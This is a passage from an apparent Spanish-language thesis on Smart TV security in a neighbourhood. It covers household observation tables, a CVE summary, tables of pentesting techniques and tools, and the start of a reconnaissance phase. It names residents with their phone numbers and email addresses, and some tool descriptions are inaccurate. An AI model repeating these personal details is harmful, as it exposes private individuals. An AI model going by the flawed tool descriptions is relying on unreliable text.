libre play. Los cuales son descargando de paginas no oficiales.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

La red utiliza un tipo de cifrado fuerte WPA2, esto quiere decir

que utiliza una red segura.

Actualizacién de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos

Se confirmo que el Smart TV en cuestion se mantiene

software. de forma oportuna para corregir Smart TV actualizados con la Gltima versién | actualizado con la Ultima version de software.
vulnerabilidades y mejorar la seguridad. | de software.
Conclusioén: tiene margen para mejorar la seguridad de su dispositivo Smart TV, especialmente en lo que respecta a la configuracion de contrasefias y la eleccion de

aplicaciones de fuentes confiables.
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Tabla 19. Matriz de observacion del décimo sexto dispositivo.

Usuario: Francisca Ahsque Cl: -
Teléfono: 0985453212 Correo: -
Marca TV: TCL Modelo TV: QLED Smart TV
Versién del SO: | Android TV NuUmero de puertos: HDMI 3
Procesador AIPQ 3.0 LAN 1
USB 2

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Durante la observacién se constat6 que el usuario
mantiene contrasefias en distintas aplicaciones instaladas

enel Smart TV.

Aplicaciones y servicios

Revisar el uso de aplicaciones y
servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y servicios
de fuentes confiables.

Se constato que el usuario utiliza aplicaciones que no
son seguiras como Magis TV, Download Browser.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

Se observé que el usuario tiene una conexion segura

hacia la red.

Actualizacion de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos Smart

EL usuario tiene a su televisor inteligente con las

software. de forma oportuna para corregir TV actualizados con la ultima version de Gltimas actualizaciones.
vulnerabilidades y mejorar la seguridad. | software.
Conclusién: El usuario ha tomado medidas positivas en términos de seguridad, como configurar contrasefias en sus aplicaciones y mantener su dispositivo

actualizado.
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Tabla 20. Matriz de observacion del décimo séptimo dispositivo.

Usuario: Maritza Sisalema Cl: -

Teléfono: 0984038640 Correo: Maritzakarian13@gmail.com
Marca TV: LG Modelo TV: 32LM637BP

Versién del SO: | webOS NuUmero de puertos: HDMI2,LAN 1,USB 2

Procesador Quad core

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad adecuadas para

proteger los dispositivos de ataques.

Los usuarios han configurado
contrasefias seguras para sus

dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en

el televisor y tampoco en las aplicaciones.

Aplicaciones y servicios

Revisar el uso de aplicaciones y servicios que sean
seguros y confiables.

Los usuarios solo usan aplicaciones

y servicios de fuentes confiables.

Se not6 que el usuario utiliza aplicaciones poco confiables
como libre play. Los cuales son descargados de paginas no
oficiales.

Conexion a internet

Conectar los dispositivos a Internet de forma

segura.

Los usuarios usan una conexién a

Internet segura.

La conexion a la red es muy inestable, lo cual influye

mucho en el buen rendimiento de televisor inteligente.

Actualizacién de

Instalar las actualizaciones de software de forma

Los usuarios mantienen sus

El dispositivo no esta actualizado con la Gltima versién de

software. oportuna para corregir vulnerabilidades y mejorar la | dispositivos Smart TV actualizados | software, lo que lo deja vulnerable
seguridad. con la Ultima versién de software.
Conclusioén: El usuario necesita tomar medidas inmediatas para mejorar la seguridad y el rendimiento de su Smart TV.
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Tabla 21. Matriz de observacion del décimo octavo dispositivo.

Usuario: Rosa Masabalin Cl: -

Teléfono: 0932446766 Correo: ermelindamasablain@gmail.com
Marca TV: Riviera Modelo TV: Serie ch RLED-ADND3CHG7LF
Versién del SO: | Android 9.0 Numero de puertos: HDMI2,USB 1,LAN 1, AVG 1

Procesador Quad core

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en el
televisor y tampoco en aplicaciones. Esto podria deberse a que
el modelo de su dispositivo no cuenta con esa funcion y el

desconocimiento del usuario de las aplicaciones que usa.

Aplicaciones y

servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y
servicios de fuentes confiables.

Se not6 que el usuario utiliza aplicaciones poco confiables como
libre play. Los cuales son descargados de paginas no oficiales.

Conexion a internet | Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

La red utiliza un tipo de cifrado fuerte WPA2, esto quiere decir

que utiliza una red segura.

Actualizacién de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos

Se confirm6 que el Smart TV en cuestion se mantiene

software. de forma oportuna para corregir Smart TV actualizados con la Gltima versién | actualizado con la dltima version de software.
vulnerabilidades y mejorar la seguridad. | de software.
Conclusioén: El usuario necesita tomar medidas para mejorar la configuracidn de seguridad de su Smart TV y evitar el uso de aplicaciones no seguras.
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Tabla 22. Matriz de observacion del décimo noveno dispositivo.

Usuario: Juan Quinfia Cl: -
Teléfono: 0986534432 Correo: juanitog@gmail.com
Marca TV: Samsung Modelo TV: QLED 4K Q90T
Versién del SO: | Tiezon OS NuUmero de puertos: HDMI 2

USB 1

Observador:

Matza Jonathan

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los

dispositivos de ataques.

Los usuarios han configurado contrasefias seguras
para sus dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en

el televisor y tampoco en las aplicaciones.

Aplicaciones y servicios

Revisar el uso de aplicaciones y
Servicios que sean seguros y
confiables.

Los usuarios solo usan aplicaciones y servicios de
fuentes confiables.

Se not6 que el usuario utiliza aplicaciones poco confiables
como libre play. Los cuales son descargados de paginas no
oficiales.

Conexion a internet

Conectar los dispositivos a Internet

de forma segura.

Los usuarios usan una conexion a Internet segura.

La conexion a la red es muy inestable, lo cual influye

mucho en el buen rendimiento de televisor inteligente.

Actualizacion de

Instalar las actualizaciones de

Los usuarios mantienen sus dispositivos Smart

El dispositivo no esté actualizado con la ultima version de

software. software de forma oportuna para TV actualizados con la Ultima version de software, lo que lo deja vulnerable
corregir vulnerabilidades y mejorar software.
la seguridad.
Conclusién: El usuario necesita tomar medidas para mejorar la configuracion de seguridad de su Smart TV, evitar el uso de aplicaciones no seguras y abordar el

problema de la inestabilidad de la conexion a Internet.
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Tabla 23. Matriz de observacion del vigésimo dispositivo.

Usuario: Samuel Asshqui Cl: -

Teléfono: 095433243 Correo: -

Marca TV: LG Modelo TV: OLED CX Series
Versién del SO: | webOS NuUmero de puertos: HDMI 2,USB 2

Observador: Matza Jonathan

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad adecuadas

para proteger los dispositivos de ataques.

Los usuarios han configurado
contrasefias seguras para sus

dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en el
televisor y tampoco en aplicaciones. Esto podria deberse a
que el modelo de su dispositivo no cuenta con esa funcion y

el desconocimiento del usuario de las aplicaciones que usa.

Aplicaciones y servicios

Revisar el uso de aplicaciones y servicios que

sean seguros y confiables.

Los usuarios solo usan aplicaciones y

servicios de fuentes confiables.

Se not6 que el usuario utiliza aplicaciones poco confiables
como libre play. Los cuales son descargados de paginas no
oficiales.

Conexion a internet

Conectar los dispositivos a Internet de forma

segura.

Los usuarios usan una conexién a

Internet segura.

La red utiliza un tipo de cifrado fuerte WPA2, esto quiere

decir que utiliza una red segura.

Actualizacién de

Instalar las actualizaciones de software de

Los usuarios mantienen sus

Se confirmo que el Smart TV en cuestion se mantiene

software. forma oportuna para corregir vulnerabilidades | dispositivos Smart TV actualizados actualizado con la Gltima versién de software.
y mejorar la seguridad. con la ultima version de software.
Conclusién: La evaluacion de seguridad del dispositivo Smart TV, en particular el modelo LG OLED CX Series del usuario muestra ciertas areas de preocupacion

en términos de seguridad y uso responsable de este dispositivo.
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Tabla 24. Matriz de observacion del vigésimo primer dispositivo.

Usuario: Genesis Quinatoa Cl: -
Teléfono: 0966341212 Correo: -
Marca TV: Sony Modelo TV: Bravia X900H
Versién del SO: | Android TV NuUmero de puertos: HDMI 2
USB 1

Observador:

Matza Jonathan

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los

dispositivos de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en el
televisor y tampoco en aplicaciones. Esto podria deberse a que
el modelo de su dispositivo no cuenta con esa funcion y el

desconocimiento del usuario de las aplicaciones que usa.

Aplicaciones y servicios

Revisar el uso de aplicaciones y
Servicios que sean seguros 'y
confiables.

Los usuarios solo usan aplicaciones y servicios

de fuentes confiables.

Se notd que el usuario utiliza aplicaciones poco confiables como

libre play. Los cuales son descargados de paginas no oficiales.

Conexion a internet

Conectar los dispositivos a

Internet de forma segura.

Los usuarios usan una conexion a Internet

segura.

La red utiliza un tipo de cifrado fuerte WPA2, esto quiere decir

que utiliza una red segura.

Actualizacién de

Instalar las actualizaciones de

Los usuarios mantienen sus dispositivos Smart

EL usuario tiene a su televisor inteligente con las Gltimas

software. software de forma oportuna para | TV actualizados con la Gltima version de actualizaciones.
corregir vulnerabilidades y software.
mejorar la seguridad.

Conclusién: Se muestra ciertas areas de preocupacion en términos de seguridad y uso responsable de este dispositivo.
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Tabla 25. Matriz de observacion del vigésimo segundo dispositivo.

Usuario: Fredi Andagana Cl: -

Teléfono: 0986442323 Correo: antonyAndagana@gmail.com
Marca TV: TCL Modelo TV: TCL 6-Series

Versién del SO: | Roku TV NuUmero de puertos: HDMI2,USB 1
Observador: Matza Jonathan

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se encontrd que la configuracion de seguridad del Smart
TV es deficiente. No se ha configurado una contrasefia

segura ni se han activado medidas de seguridad

Aplicaciones y servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y servicios

de fuentes confiables.

Se han encontrado aplicaciones y servicios de fuentes no
confiables en el Smart TV, lo que aumenta el riesgo de

amenazas.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

Se observé que el usuario tiene una conexién segura

hacia la red.

Actualizacion de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos Smart

El dispositivo no esté actualizado con la ultima versién

software. de forma oportuna para corregir TV actualizados con la Ultima version de de software, lo que lo deja vulnerable.
vulnerabilidades y mejorar la seguridad. | software.
Conclusién: El usuario necesita tomar medidas para mejorar la configuracion de seguridad de su Smart TV, evitar el uso de aplicaciones no seguras y asegurarse de

que el dispositivo esté siempre actualizado.
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Tabla 26. Matriz de observacion del vigésimo tercer dispositivo.

Usuario: Angel Paucar Cl: -

Teléfono: 0964545607 Correo: angelRobertoPaucar@gmail.com
Marca TV: Samsung Modelo TV: P-Series Quantum X

Versién del SO: | Android TV NuUmero de puertos: HDMI 3,USB 2

Observador: Matza Jonathan

Area que observar Objetivo Criterios de observaciéon Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias seguras

para sus dispositivos de red.

Durante la observacion se constat6 que el usuario
mantiene contrasefias en distintas aplicaciones

instaladas en el Smart TV.

Aplicaciones y servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y servicios de

fuentes confiables.

Se not6 que el usuario utiliza aplicaciones poco
confiables como Pluto TV. Los cuales son descargados

de paginas no oficiales.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexién a Internet segura.

Se observé que el usuario tiene una conexién segura

hacia la red.

Actualizacién de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos Smart

El televisor inteligente del usuario tiene una funcién

software. de forma oportuna para corregir TV actualizados con la Ultima version de de actualizacion automatica, la cual esta activada.
vulnerabilidades y mejorar la seguridad. | software.
Conclusién: la evaluacion indica que existen algunas préacticas de seguridad sélidas, como la actualizacion de software y una conexion segura a Internet. Sin

embargo, se destacan areas de mejora, como la gestion de contrasefias y la descarga de aplicaciones de fuentes confiables.
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Tabla 27. Matriz de observacion del vigésimo cuarto dispositivo.

Usuario: Alejandro Sisa Cl: -

Teléfono: 0987413244 Correo: -

Marca TV: LG Modelo TV: LG OLED GX Series
Versién del SO: | webOS NuUmero de puertos: HDMI2,USB 1

Observador:

Matza Jonathan

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado
contrasefias seguras para sus

dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en el
televisor y tampoco en aplicaciones. Esto podria deberse a que
el modelo de su dispositivo no cuenta con esa funcion y el

desconocimiento del usuario de las aplicaciones que usa.

Aplicaciones y servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y

servicios de fuentes confiables.

Se notd que el usuario utiliza aplicaciones poco confiables como

libre play. Los cuales son descargados de péaginas no oficiales.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a

Internet segura.

La red utiliza un tipo de cifrado fuerte WPA2, esto quiere decir

gue utiliza una red segura.

Actualizacién de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos

Se confirmo que el Smart TV en cuestion se mantiene

software. de forma oportuna para corregir Smart TV actualizados con la Gltima actualizado con la ultima version de software.
vulnerabilidades y mejorar la seguridad. | version de software.
Conclusioén: aunqgue el usuario mantiene su dispositivo Smart TV actualizado y cuenta con una red segura, hay areas de mejora, como la configuracién de

contrasefias y la descarga de aplicaciones de fuentes confiables.
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Tabla 28.Matriz de observacion del vigésimo quinto dispositivo.

Usuario: Wilmer Moreta Cl: -

Teléfono: 0973425100 Correo: -

Marca TV: LG Modelo TV: NanoCell 90 Series

Versién del SO: | Android TV NuUmero de puertos: HDMI 2USB 2

Observador: Matza Jonathan,

Area que observar Objetivo Criterios de observaciéon Observacion

Configuracion de Analizar las medidas de seguridad Los usuarios han configurado Se observé que el usuario no tiene ninguna contrasefia en el

seguridad adecuadas para proteger los dispositivos | contrasefias seguras para sus televisor y tampoco en aplicaciones. Esto podria deberse a que
de ataques. dispositivos de red. el modelo de su dispositivo no cuenta con esa funcién y el

desconocimiento del usuario de las aplicaciones que usa.

Aplicaciones y servicios | Revisar el uso de aplicacionesy Los usuarios solo usan aplicaciones y Se notd que el usuario utiliza aplicaciones poco confiables como
servicios que sean seguros y confiables. | servicios de fuentes confiables. libre play. Los cuales son descargados de péaginas no oficiales.

Conexion a internet Conectar los dispositivos a Internet de Los usuarios usan una conexion a La red utiliza un tipo de cifrado fuerte WPAZ2, esto quiere decir
forma segura. Internet segura. que utiliza una red segura.

Actualizacion de

Instalar las actualizaciones de software Los usuarios mantienen sus dispositivos | Se confirmé que el Smart TV en cuestion se mantiene

software. de forma oportuna para corregir Smart TV actualizados con la Gltima actualizado con la ultima version de software.
vulnerabilidades y mejorar la seguridad. | version de software.
Conclusioén: El usuario mantiene su dispositivo Smart TV actualizado y cuenta con una red segura. Sin embargo, hay areas de mejora, como la configuracién de

contrasefias y la descarga de aplicaciones de fuentes confiables.
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Anélisis e interpretacion

Marcas de TV mas utilizadas
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Figura 12. Marcas de Smart TV.

Mediante la observacion se realiz6 un analisis de las marcas mas utilizadas en el
barrio Pucard, donde se noté que las marcas de Smart TV mas utilizadas son TCL,

LG, Riviera, Samsung, Sony, respectivamente.

La evaluacion de seguridad en los dispositivos Smart TV en el Barrio Pucara revela
la necesidad de concienciar a los usuarios sobre la importancia de implementar
medidas de seguridad, utilizar fuentes confiables de aplicaciones y mantener
actualizados sus dispositivos. Estas acciones son esenciales para proteger la

privacidad y la integridad de los dispositivos inteligentes en el hogar.

2.2.4 Procesamiento y analisis de datos

En base a la informacién obtenida a través de los instrumentos de recoleccién

aplicadas a los usuarios de los dispositivos Smart tv se determina que:

e Un ndmero significativo de usuarios no estan tomando las medidas adecuadas
para proteger sus televisores inteligentes. Por ejemplo, muchos usuarios no
actualizan el software de sus dispositivos, no cambian las contrasefias
predeterminadas de las aplicaciones y no estan al tanto de las amenazas de

seguridad.

o El desconocimiento de seguridad en dispositivos Smart TV de los usuarios es
un problema que puede tener graves consecuencias. Los televisores

inteligentes son dispositivos conectados a Internet que pueden acceder a una
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amplia gama de datos personales, como informacidn de contacto, informacion

financiera e informacion de salud.

Un numero significativo de encuestados no ha cambiado las contrasefias
predeterminadas de sus dispositivos o aplicaciones, lo que las hace

vulnerables a ataques cibernéticos.

Los usuarios descargan aplicaciones de fuentes no oficiales, como sitios web
de terceros o tiendas de aplicaciones no autorizadas. Esto representa un riesgo
importante, ya que las aplicaciones de fuentes no oficiales pueden contener

malware o contenido malicioso.
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CAPITULO IIl.- RESULTADOS Y DISCUSION

3.1 Analisis y discusion de los resultados.

3.1.1 Anélisis de las vulnerabilidades de los dispositivos Smart TV.

Se realiz6 un andlisis de las vulnerabilidades registradas en NVD el cual es un
repositorio de gestion de vulnerabilidades para determinar los posibles riesgos y su

nivel de amenazas en los dispositivos Smart TV.

Tabla 29. Anélisis de vulnerabilidades en Smart TV [32].

Cadigo de la Descripcion Nivel de
vulnerabilidad amenaza

CVE-2020-21406 Permite a los atacantes provocar una denegacion de servicio. | Alto

CVE-2020-21405 Permite a los atacantes corromper archivos mediante | Medio
Ilamadas al servicio saveDeepColorAttr.unk

CVE-2020-27403 Permite a los atacantes ejecutar codigo arbitrario en un | Alto
televisor inteligente Samsung mediante un ataque de
desbordamiento de bufer.

CVE-2022-44636 Permite a los atacantes habilitar el acceso al micréfono | Medio
mediante suplantacion de Bluetooth cuando un usuario
activa el control remoto presionando un botén.

CVE-2020-9380 Permite a los atacantes provocar una denegacién de servicio | Alto
en un televisor inteligente LG mediante un ataque de
desbordamiento de bufer.

CVE-2020-10180 Permite a los atacantes provocar una denegacién de servicio | Alto
en un televisor inteligente Samsung mediante un ataque de
desbordamiento de bufer.

CVE-2020-10193 Permite a los atacantes tomar el control de un televisor | Alto
inteligente Samsung mediante un Ataque de inyeccion de
comandos.

CVE-2021-27943 El procedimiento de emparejamiento utilizado por los | Medio
televisores inteligentes lo que permite a un actor amenazador
forzar empareje el dispositivo.

CVE-2021-27942 Permiten que un actor de amenazas ejecute cddigo arbitrario | Alto
desde una unidad USB a través de la funcionalidad Smart
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Cast.

Las vulnerabilidades identificadas en la tabla 29 representan una amenaza
significativa para los usuarios de televisores inteligentes. Estos permiten a los
atacantes ejecutar codigo malintencionado en los televisores inteligentes, lo que

podria conducir a la instalacion de malware, el robo de datos o el control remoto del

dispositivo.

3.1.2 Técnicas para detectar vulnerabilidades

Se realiz6 un analisis de las técnicas de Pentesting para determinar las mas adecuadas

en la deteccion de vulnerabilidades en dispositivos inteligentes.

Tabla 30. Analisis de las técnicas de Pentesting.

Técnica Amenaza Descripcion
Robo de datos, alteracién de datos | Se utiliza para inyectar codigo malicioso en
o toma de control de una base de | una base de datos. El cédigo malicioso puede
Inyeccion datos [29]. utilizarse para robar datos, alterar datos o
SQL tomar el control de la base de datos [29].
Robo de datos, secuestro de | Utilizado para robar informacion personal,
Ataques Man | sesiones o redireccionamiento a | manipulando el trafico de red, siendo

in the Middle | sitios web maliciosos [13]. interceptado de diferentes formas [13].

(MITM)

Ataques de Permite al atacante realizar | Estos ataques se utilizan para obtener acceso

Explotacién cualquier accién en el dispositivo, | root o administrador a un dispositivo [28].

de puertos robar datos o borrar archivos [28].

Ataques de Obtencion de  acceso  no | En un dispositivo pueden ser explotadas para

inyeccion autorizado a un dispositivo [24]. obtener acceso no autorizado al dispositivo
[24].

Ataques de Obtencion de contrasefias [29]. Se utilizan para adivinar las contrasefias de

fuerza bruta

un usuario o sistema [29].
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Robo de datos, toma de control de

Instalan software malicioso en un dispositivo

Ataques de un dispositivo o realizacion de | [29].

malware otras acciones maliciosas [27].

Ataques de Inutilizacion de un sistema [28]. Se utilizan para saturar un sistema con trafico
denegacidn de red, lo que hace que el sistema sea
de servicio inutilizable [28].

(DoS)

Para comprometer la seguridad de un Smart TV se escogio la técnica DOS y MITM

para desestabilizar eficientemente el funcionamiento del dispositivo al saturar sus

recursos y las técnicas de ataques de malware y Explotacion de puertos para

aprovechar las debilidades especificas en el sistema operativo del dispositivo.

3.1.3 Herramientas de Pentesting

Las herramientas de seguridad informatica son esenciales para proteger los sistemas

y redes informaticos, Se realiz6 un analisis de las herramientas de Pentesting para

determinar las méas adecuadas.

Tabla 31. Herramientas de Pentesting.

Herramienta

Descripcién

Actividad

Escaner de puertos y servicios que se utiliza

Realiza un escaneo de puertos y

Nmap para identificar hosts activos y servicios en | servicios para identificar posibles
ejecucion [22]. objetivos y vulnerabilidades [22].
Capturador de paquetes de red que se utiliza | Captura y analiza el trafico de red
Wireshark para analizar el tré&fico de red [21]. para identificar amenazas [21].
Framework de explotacién que se utiliza para | Se utiliza para  explotar
Metasploit explotar vulnerabilidades conocidas. [24] vulnerabilidades para obtener
acceso a un sistema [24].
Herramienta de auditoria de seguridad que se | Realiza una auditoria de seguridad
Nessus utiliza para identificar vulnerabilidades en un | para identificar vulnerabilidades

sistema o red, cuenta con una gran variedad de

herramientas de hacking [23].

conocidas [23].
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Distribucion de Linux especializada en | Incluye una amplia gama de
seguridad informatica que incluye una amplia | herramientas de seguridad para
Kali Linux gama de herramientas de pentesting [28]. realizar auditorias, pruebas de
penetracion y andlisis forense
[28].
ADB(Android | Herramienta de andlisis de vulnerabilidades web | Se  utiliza para identificar
Debug que se utiliza para identificar vulnerabilidades | vulnerabilidades en aplicaciones
Bridge) en aplicaciones web [22]. web [22].
LOIC (Low Herramienta gratuita y de cédigo abierto que | Se utiliza para lanzar ataques de
Orbit lon permite realizar ataques de inundacion TCP, | denegacién de servicio contra un
Cannon) UDPy HTTP [4]. objetivo [4].
Herramienta de exploracion de aplicaciones web | Se utiliza  para  encontrar
que se utiliza para identificar puntos de entrada | vulnerabilidades en aplicaciones
Wfuzz y vulnerabilidades en aplicaciones web [23]. web [23].
Herramienta de hacking que se utiliza para | Se utiliza para técnicas MITM y
identificar y monitorear trafico en la red [13]. DOS [13].
Ettercap

El analisis realizado en la tabla 31permitio seleccionar las herramientas Wireshark,
Nessus, Nmap, Metasploit, ADB, loic, Ettercap para el analisis de paquetes de red e
identificar actividades sospechosas o vulnerabilidades en los dispositivos, para su

posterior analisis y explotacion.

3.2 Metodologia de desarrollo

Las metodologias son enfoques estructurados y organizados que proporcionan
directrices y mejores précticas para el desarrollo de la propuesta. Para ello, se puede
realizar una comparacion entre las metodologias Owasp, Kanban y ISSAF.

Owasp. -La metodologia permite evaluar la seguridad de dispositivos loT,

identificando y mitigando vulnerabilidades.

Kanban. — Es una metodologia agil que visualiza el flujo de trabajo, limita el WIP y
mejora continuamente. Se usa para gestionar cualquier proyecto, como la evaluacion

de seguridad.
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ISSAF. — Evalta la seguridad de sistemas de informacion y comunicaciones. se

puede utilizar para evaluar la seguridad de cualquier tipo de dispositivo conectado a

Internet.
Tabla 32. Cuadro comparativo entre las metodologias.

Aspecto OWASP Kanban ISSAF
Tamafio del Cualquier tamafio [20]. Puede adaptarse a | Medianos y grandes
proyecto cualquier tamafio [27]. | [27].

Minimo 1 personas [20] Minimo 1 persona y | Minimo 2 personas y
Tamarnio del maximo 10 personas | maximo 10 personas
equipo [27]. [27].
No tiene un marco de | Se enfoca en items | No tiene un marco de
Marco de tiempo | tiempo especifico [27]. individuales [27]. tiempo especifico
[27].
Gestion de Utiliza una combinacion | Utiliza tableros | Utiliza tarjetas de
requisitos de métodos. Kanban [13]. tareas [13].
Desarrollo Es iterativo y rapido [28]. | Es gradual y evolutivo | Es iterativo y rapido
[13]. [13].
Reconocimiento, escaneo, | Define el flujo de | Control del flujo de
analisis de | trabajo, visualiza las | tareas [27].
Fases vulnerabilidades, fases, finaliza tareas
explotacion, Reporte [20]. | antes de comenzar
otras, planificacién,
desarrollo, entrega
[271.
Sugiere Sugiere Sugiere

Retroalimentacion

retroalimentaciones

periddicas [28].

retroalimentaciones

periodicas [27].

retroalimentaciones
tempranas a medida
que se desarrolla la

entrega [27].

Ventaja

Ayuda a prevenir
vulnerabilidades de
seguridad en software
[28].

Gestiona el flujo de
trabajo de manera
eficaz [27].

Produce software de
alta calidad [27].
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Desventaja

Puede ser

requerir

especializado [28].

compleja vy

un

equipo

Puede

ser dificil

gestionar  proyectos

con
[27].

plazos estrictos

Puede ser dificil
adaptarlo a proyectos

complejos [27].

En este proyecto, se ha optado por la implementacion de OWASP, ya que es una

metodologia flexible y adaptable a proyectos de cualquier tamafo, lo que es

importante para el analisis de vulnerabilidad en dispositivos Smart TV, las fases de la

metodologia son orientadas al andlisis y explotacion de vulnerabilidades en

dispositivos lo que facilita y forma parte fundamental en el desarrollo del presente

proyecto.

3.2.1 Fases de la metodologia OWASP

A continuacion, se describen las 6 fases aplicadas:

Reconocimiento. - Comprende un descubrimiento fisico, recopilar informacién
sobre el dispositivo objetivo, como la arquitectura, el software y las

configuraciones.

Escaneo. - Se realiza un escaneo de dispositivos activos dentro de la red, se

utiliza la herramienta Nmap para cumplir los objetivos de esta fase.

Analisis de vulnerabilidades. - En la fase de analisis de vulnerabilidades, los
evaluadores investigan las vulnerabilidades identificadas para comprender como

se pueden explotar.

Explotacién. - Comprende en aplicar herramientas, métodos y técnicas para

vulnerabilizar el dispositivo de datos.

Reporte. - En base a lo que determinen las pruebas de pentesting proponer
mecanismos de seguridad es el objetivo de esta fase y presentar el debido reporte

de cada una de las fases.
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Reconocimiento

e

Figura 13. Fases de la metodologia OWASP.

A

Explotaciénde Analisis de

vulnerabilidade vulnerabilidade

A/

e Visualizar el flujo de trabajo

Para la visibilidad del flujo de trabajo, se cre6 un tablero de tareas con cada una de
las fases mediante la aplicacion jira como se muestra en la Figura 13. El tablero

consta de tres columnas: Por hacer, En curso y listo.

Tablero De trabajo

Q . &  Ftiqueta v AGRUPARPOR  Nada
POR HACER 2 EN CURSO 2 usto2 v +
Obtencién de acceso a los Seleccion de las herramientas de Revision de literatura sobre
dispositivos Smart TV para llevar software libre a utilizarse. vulnerabilidades y técnicas de
a cabo las pruebas. Fase2 pentesting en dispositivos Smart

v.

8 w7 0 K-S (3] Fasel

- v ] v
Andlisis de los resultados de las Configuracién del entorno de a e
pruebas y evaluacion del nivel pruebas adecuado para realizar
de riesgo asociado a las las pruebas de pentesting en los Recopilacién de informacion
vulnerabilidades encontradas. dispositivos Smart TV para sobre los modelos de Smart TV
g s e identificar vulnerabilidades. utilizados en el Barrio Pucaré
v X - s
Fase? mediante la aphcacl.on d.e la

encuesta a los propietarios.
+ Crear incidencia @ xkans e Fasel

oAt v e

Figura 14. Tablero de trabajo Jira.
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3.3 Desarrollo de la propuesta

Para el analisis de vulnerabilidades de los dispositivos Smart TV, se utilizaron las
fases de la metodologia OWASP.

3.3.1 Fase de reconocimiento

Mediante la observacion a 6 dispositivos diferentes se obtuvo la siguiente

informacion.

a. Dispositivo Smart TV 1

Tabla 33. Caracteristicas de la Smart TV 1.

Caracteristicas Descripcion

Marca TCL

Modelo 438525

Version de firmware V8-R41KT01-LF1V325.008616
Red Red domeéstica

Proveedor Fiber Store

Direccion IP 192.168.100.18

Sistema operativo Android TV

Seguridad Encriptacion WPAZ2, firewall activado
Aplicaciones instaladas Netflix, YouTube, Pluto TV
Funciones y caracteristicas Control remoto universal

El dispositivo pertenece a uno de los moradores del barrio Pucara, después de
familiarizarse con el televisor inteligente TCL, se observé que algunas aplicaciones

instaladas son de fuentes no seguras y otras que necesitan claves para usarse.
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b. Dispositivo Smart TV 2
Tabla 34. Caracteristicas de la Smart TV 2.

Caracteristicas Descripcion

Marca Riviera

Modelo TPXM43A

Version de firmware 1.0.0

Red Red doméstica

Proveedor Fiber Store

Direccion IP 192.168.100.67

Sistema operativo Android TV 5.0

Seguridad WPA2

Aplicaciones instaladas Netflix, YouTube, Magis TV, varios juegos.
Funciones y caracteristicas Control parental, proteccion de privacidad

Después de usar un televisor inteligente Riviera por un tiempo, se descubrié que
algunas de las aplicaciones instaladas provenian de fuentes no confiables. EI Smart

TV cuenta con un sistema operativo Android.

c. Dispositivo Smart TV 3

Tabla 35. Caracteristicas de la Smart TV 3.

Caracteristicas Descripcién
Marca Sony

Modelo X900H

Version de firmware 1.0.0

Red Red doméstica
Proveedor Fiber Store
Direccion IP 192.168.100.16
Sistema operativo Android TV 5.0
Seguridad WPA2
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Aplicaciones instaladas Netflix, YouTube, Magis TV, varios juegos.

Funciones y caracteristicas Control parental, proteccién de privacidad

El televisor Sony X900H es un dispositivo cuenta con una amplia gama de funciones
y caracteristicas. El televisor esta equipado con el sistema operativo Android TV, el

televisor no contaba con las ultimas actualizaciones del sistema.

d. Dispositivo Smart TV 4

Tabla 36. Caracteristicas de la Smart TV 4.

Caracteristicas Descripcion
Marca LG

Modelo OLED55C9PUA
Version de firmware C905.30.11

Red Red domeéstica
Proveedor Infinity
Direccién IP 192.168.0.100
Sistema operativo webOS
Seguridad WPA2
Aplicaciones instaladas Netflix, YouTube.
Funciones y caracteristicas Control por voz

Después de familiarizarse con el televisor inteligente LG, se observo que es un
dispositivo relativamente nuevo, el sistema operativo que utiliza es webQOS, las

aplicaciones que puede instalar son limitadas.

e. Dispositivo Smart TV 5
